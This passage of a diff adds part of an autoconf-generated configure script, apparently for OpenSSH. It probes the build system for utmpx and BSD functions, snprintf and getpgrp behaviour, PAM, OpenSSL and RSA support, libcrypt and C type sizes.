+fi +done + +for ac_func in endutxent getutxent getutxid getutxline pututxline +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:3506: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3534: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in setutxent utmpxname +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:3561: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3589: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + +echo $ac_n "checking for getuserattr""... $ac_c" 1>&6 +echo "configure:3615: checking for getuserattr" >&5 +if eval "test \"`echo '$''{'ac_cv_func_getuserattr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char getuserattr(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_getuserattr) || defined (__stub___getuserattr) +choke me +#else +getuserattr(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3643: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_getuserattr=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_getuserattr=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'getuserattr`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_GETUSERATTR 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for getuserattr in -ls""... $ac_c" 1>&6 +echo "configure:3664: checking for getuserattr in -ls" >&5 +ac_lib_var=`echo s'_'getuserattr | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-ls $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -ls"; cat >> confdefs.h <<\EOF +#define HAVE_GETUSERATTR 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for login""... $ac_c" 1>&6 +echo "configure:3711: checking for login" >&5 +if eval "test \"`echo '$''{'ac_cv_func_login'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char login(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_login) || defined (__stub___login) +choke me +#else +login(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3739: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_login=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_login=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'login`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_LOGIN 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for login in -lbsd""... $ac_c" 1>&6 +echo "configure:3760: checking for login in -lbsd" >&5 +ac_lib_var=`echo bsd'_'login | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lbsd $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lbsd"; cat >> confdefs.h <<\EOF +#define HAVE_LOGIN 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for daemon""... $ac_c" 1>&6 +echo "configure:3807: checking for daemon" >&5 +if eval "test \"`echo '$''{'ac_cv_func_daemon'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char daemon(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_daemon) || defined (__stub___daemon) +choke me +#else +daemon(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3835: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_daemon=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_daemon=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'daemon`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_DAEMON 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for daemon in -lbsd""... $ac_c" 1>&6 +echo "configure:3856: checking for daemon in -lbsd" >&5 +ac_lib_var=`echo bsd'_'daemon | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lbsd $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lbsd"; cat >> confdefs.h <<\EOF +#define HAVE_DAEMON 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +echo $ac_n "checking for getpagesize""... $ac_c" 1>&6 +echo "configure:3903: checking for getpagesize" >&5 +if eval "test \"`echo '$''{'ac_cv_func_getpagesize'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char getpagesize(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_getpagesize) || defined (__stub___getpagesize) +choke me +#else +getpagesize(); +#endif + +; return 0; } +EOF +if { (eval echo configure:3931: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_getpagesize=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_getpagesize=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'getpagesize`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_GETPAGESIZE 1 +EOF + +else + echo "$ac_t""no" 1>&6 +echo $ac_n "checking for getpagesize in -lucb""... $ac_c" 1>&6 +echo "configure:3952: checking for getpagesize in -lucb" >&5 +ac_lib_var=`echo ucb'_'getpagesize | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lucb $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lucb"; cat >> confdefs.h <<\EOF +#define HAVE_GETPAGESIZE 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + +fi + + +# Check for broken snprintf +if test "x$ac_cv_func_snprintf" = "xyes" ; then + echo $ac_n "checking whether snprintf correctly terminates long strings""... $ac_c" 1>&6 +echo "configure:4001: checking whether snprintf correctly terminates long strings" >&5 + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +int main(void){char b[5];snprintf(b,5,"123456789");return(b[4]!='\0');} + +EOF +if { (eval echo configure:4013: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + echo "$ac_t""yes" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + + echo "$ac_t""no" 1>&6 + cat >> confdefs.h <<\EOF +#define BROKEN_SNPRINTF 1 +EOF + + echo "configure: warning: ****** Your snprintf() function is broken, complain to your vendor" 1>&2 + + +fi +rm -fr conftest* +fi + +fi + +echo $ac_n "checking whether getpgrp takes no argument""... $ac_c" 1>&6 +echo "configure:4036: checking whether getpgrp takes no argument" >&5 +if eval "test \"`echo '$''{'ac_cv_func_getpgrp_void'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: cannot check getpgrp if cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +#include + +int pid; +int pg1, pg2, pg3, pg4; +int ng, np, s, child; + +main() +{ + pid = getpid(); + pg1 = getpgrp(0); + pg2 = getpgrp(); + pg3 = getpgrp(pid); + pg4 = getpgrp(1); + + /* + * If all of these values are the same, it's pretty sure that + * we're on a system that ignores getpgrp's first argument. + */ + if (pg2 == pg4 && pg1 == pg3 && pg2 == pg3) + exit(0); + + child = fork(); + if (child < 0) + exit(1); + else if (child == 0) { + np = getpid(); + /* + * If this is Sys V, this will not work; pgrp will be + * set to np because setpgrp just changes a pgrp to be + * the same as the pid. + */ + setpgrp(np, pg1); + ng = getpgrp(0); /* Same result for Sys V and BSD */ + if (ng == pg1) { + exit(1); + } else { + exit(0); + } + } else { + wait(&s); + exit(s>>8); + } +} + +EOF +if { (eval echo configure:4099: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_func_getpgrp_void=yes +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_func_getpgrp_void=no +fi +rm -fr conftest* +fi + + +fi + +echo "$ac_t""$ac_cv_func_getpgrp_void" 1>&6 +if test $ac_cv_func_getpgrp_void = yes; then + cat >> confdefs.h <<\EOF +#define GETPGRP_VOID 1 +EOF + +fi + + +# Check for PAM libs +PAM_MSG="no" +# Check whether --with-pam or --without-pam was given. +if test "${with_pam+set}" = set; then + withval="$with_pam" + + if test "x$withval" != "xno" ; then + if test "x$ac_cv_header_security_pam_appl_h" != "xyes" ; then + { echo "configure: error: PAM headers not found" 1>&2; exit 1; } + fi + + echo $ac_n "checking for dlopen in -ldl""... $ac_c" 1>&6 +echo "configure:4135: checking for dlopen in -ldl" >&5 +ac_lib_var=`echo dl'_'dlopen | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-ldl $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo dl | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + echo $ac_n "checking for pam_set_item in -lpam""... $ac_c" 1>&6 +echo "configure:4182: checking for pam_set_item in -lpam" >&5 +ac_lib_var=`echo pam'_'pam_set_item | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lpam $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo pam | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +{ echo "configure: error: *** libpam missing" 1>&2; exit 1; } +fi + + for ac_func in pam_getenvlist +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:4232: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:4260: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + + disable_shadow=yes + PAM_MSG="yes" + + cat >> confdefs.h <<\EOF +#define USE_PAM 1 +EOF + + fi + + +fi + + +# Check for older PAM +if test "x$PAM_MSG" = "xyes" ; then + # Check PAM strerror arguments (old PAM) + echo $ac_n "checking whether pam_strerror takes only one argument""... $ac_c" 1>&6 +echo "configure:4302: checking whether pam_strerror takes only one argument" >&5 + cat > conftest.$ac_ext < +#include + +int main() { +(void)pam_strerror((pam_handle_t *)NULL, -1); +; return 0; } +EOF +if { (eval echo configure:4314: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + echo "$ac_t""no" 1>&6 +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + cat >> confdefs.h <<\EOF +#define HAVE_OLD_PAM 1 +EOF + + echo "$ac_t""yes" 1>&6 + PAM_MSG="yes (old library)" + + +fi +rm -f conftest* +fi + +# The big search for OpenSSL +# Check whether --with-ssl-dir or --without-ssl-dir was given. +if test "${with_ssl_dir+set}" = set; then + withval="$with_ssl_dir" + + if test "x$withval" != "xno" ; then + tryssldir=$withval + fi + + +fi + + +saved_LIBS="$LIBS" +saved_LDFLAGS="$LDFLAGS" +saved_CPPFLAGS="$CPPFLAGS" +if test "x$prefix" != "xNONE" ; then + tryssldir="$tryssldir $prefix" +fi +echo $ac_n "checking for OpenSSL directory""... $ac_c" 1>&6 +echo "configure:4354: checking for OpenSSL directory" >&5 +if eval "test \"`echo '$''{'ac_cv_openssldir'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + for ssldir in $tryssldir "" /usr/local/openssl /usr/lib/openssl /usr/local/ssl /usr/lib/ssl /usr/local /usr/pkg /opt /opt/openssl ; do + CPPFLAGS="$saved_CPPFLAGS" + LDFLAGS="$saved_LDFLAGS" + LIBS="$saved_LIBS -lcrypto" + + # Skip directories if they don't exist + if test ! -z "$ssldir" -a ! -d "$ssldir" ; then + continue; + fi + if test ! -z "$ssldir" -a "x$ssldir" != "x/usr"; then + # Try to use $ssldir/lib if it exists, otherwise + # $ssldir + if test -d "$ssldir/lib" ; then + LDFLAGS="-L$ssldir/lib $saved_LDFLAGS" + if test ! -z "$need_dash_r" ; then + LDFLAGS="-R$ssldir/lib $LDFLAGS" + fi + else + LDFLAGS="-L$ssldir $saved_LDFLAGS" + if test ! -z "$need_dash_r" ; then + LDFLAGS="-R$ssldir $LDFLAGS" + fi + fi + # Try to use $ssldir/include if it exists, otherwise + # $ssldir + if test -d "$ssldir/include" ; then + CPPFLAGS="-I$ssldir/include $saved_CPPFLAGS" + else + CPPFLAGS="-I$ssldir $saved_CPPFLAGS" + fi + fi + + # Basic test to check for compatible version and correct linking + # *does not* test for RSA - that comes later. + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +#include +int main(void) +{ + char a[2048]; + memset(a, 0, sizeof(a)); + RAND_add(a, sizeof(a), sizeof(a)); + return(RAND_status() <= 0); +} + +EOF +if { (eval echo configure:4411: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + + found_crypto=1 + break; + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + + +fi +rm -fr conftest* +fi + + + if test ! -z "$found_crypto" ; then + break; + fi + done + + if test -z "$found_crypto" ; then + { echo "configure: error: Could not find working OpenSSL library, please install or check config.log" 1>&2; exit 1; } + fi + if test -z "$ssldir" ; then + ssldir="(system)" + fi + + ac_cv_openssldir=$ssldir + +fi + +echo "$ac_t""$ac_cv_openssldir" 1>&6 + +if (test ! -z "$ac_cv_openssldir" && test "x$ac_cv_openssldir" != "x(system)") ; then + cat >> confdefs.h <<\EOF +#define HAVE_OPENSSL 1 +EOF + + ssldir=$ac_cv_openssldir + if test ! -z "$ssldir" -a "x$ssldir" != "x/usr"; then + # Try to use $ssldir/lib if it exists, otherwise + # $ssldir + if test -d "$ssldir/lib" ; then + LDFLAGS="-L$ssldir/lib $saved_LDFLAGS" + if test ! -z "$need_dash_r" ; then + LDFLAGS="-R$ssldir/lib $LDFLAGS" + fi + else + LDFLAGS="-L$ssldir $saved_LDFLAGS" + if test ! -z "$need_dash_r" ; then + LDFLAGS="-R$ssldir $LDFLAGS" + fi + fi + # Try to use $ssldir/include if it exists, otherwise + # $ssldir + if test -d "$ssldir/include" ; then + CPPFLAGS="-I$ssldir/include $saved_CPPFLAGS" + else + CPPFLAGS="-I$ssldir $saved_CPPFLAGS" + fi + fi +fi +LIBS="$saved_LIBS -lcrypto" + +# Now test RSA support +saved_LIBS="$LIBS" +echo $ac_n "checking for RSA support""... $ac_c" 1>&6 +echo "configure:4480: checking for RSA support" >&5 +for WANTS_RSAREF in "" 1 ; do + if test -z "$WANTS_RSAREF" ; then + LIBS="$saved_LIBS" + else + LIBS="$saved_LIBS -lRSAglue -lrsaref" + fi + if test "$cross_compiling" = yes; then + { echo "configure: error: can not run test program while cross compiling" 1>&2; exit 1; } +else + cat > conftest.$ac_ext < +#include +#include +#include +#include +int main(void) +{ + int num; RSA *key; static unsigned char p_in[] = "blahblah"; + unsigned char c[256], p[256]; + memset(c, 0, sizeof(c)); RAND_add(c, sizeof(c), sizeof(c)); + if ((key=RSA_generate_key(512, 3, NULL, NULL))==NULL) return(1); + num = RSA_public_encrypt(sizeof(p_in) - 1, p_in, c, key, RSA_PKCS1_PADDING); + return(-1 == RSA_private_decrypt(num, c, p, key, RSA_PKCS1_PADDING)); +} + +EOF +if { (eval echo configure:4510: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + + rsa_works=1 + break; + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 +fi +rm -fr conftest* +fi + +done + +if test ! -z "$no_rsa" ; then + echo "$ac_t""disabled" 1>&6 + RSA_MSG="disabled" +else + if test -z "$rsa_works" ; then + echo "configure: warning: *** No RSA support found *** " 1>&2 + RSA_MSG="no" + else + if test -z "$WANTS_RSAREF" ; then + echo "$ac_t""yes" 1>&6 + RSA_MSG="yes" + else + RSA_MSG="yes (using RSAref)" + echo "$ac_t""using RSAref" 1>&6 + LIBS="$saved_LIBS -lcrypto -lRSAglue -lrsaref" + fi + fi +fi + +# Some Linux systems (Slackware) need crypt() from libcrypt, *not* the +# version in OpenSSL. Skip this for PAM +if test "x$PAM_MSG" = "xno" -a "x$check_for_libcrypt_later" = "x1"; then + echo $ac_n "checking for crypt in -lcrypt""... $ac_c" 1>&6 +echo "configure:4548: checking for crypt in -lcrypt" >&5 +ac_lib_var=`echo crypt'_'crypt | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lcrypt $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + LIBS="$LIBS -lcrypt" +else + echo "$ac_t""no" 1>&6 +fi + +fi + +# Cheap hack to ensure NEWS-OS libraries are arranged right. +if test ! -z "$SONY" ; then + LIBS="$LIBS -liberty"; +fi + +# Checks for data types +echo $ac_n "checking size of char""... $ac_c" 1>&6 +echo "configure:4596: checking size of char" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_char'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_char=1 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(char)); + exit(0); +} +EOF +if { (eval echo configure:4615: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_char=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_char=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_char" 1>&6 +cat >> confdefs.h <&6 +echo "configure:4635: checking size of short int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_short_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_short_int=2 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(short int)); + exit(0); +} +EOF +if { (eval echo configure:4654: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_short_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_short_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_short_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:4674: checking size of int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_int=4 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(int)); + exit(0); +} +EOF +if { (eval echo configure:4693: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_int=`cat conftestval` +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_sizeof_int=0 +fi +rm -fr conftest* +fi + +fi +echo "$ac_t""$ac_cv_sizeof_int" 1>&6 +cat >> confdefs.h <&6 +echo "configure:4713: checking size of long int" >&5 +if eval "test \"`echo '$''{'ac_cv_sizeof_long_int'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_sizeof_long_int=4 +else + cat > conftest.$ac_ext < +main() +{ + FILE *f=fopen("conftestval", "w"); + if (!f) exit(1); + fprintf(f, "%d\n", sizeof(long int)); + exit(0); +} +EOF +if { (eval echo configure:4732: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_sizeof_long_int=`cat conftestval` +else + echo "configure: failed program 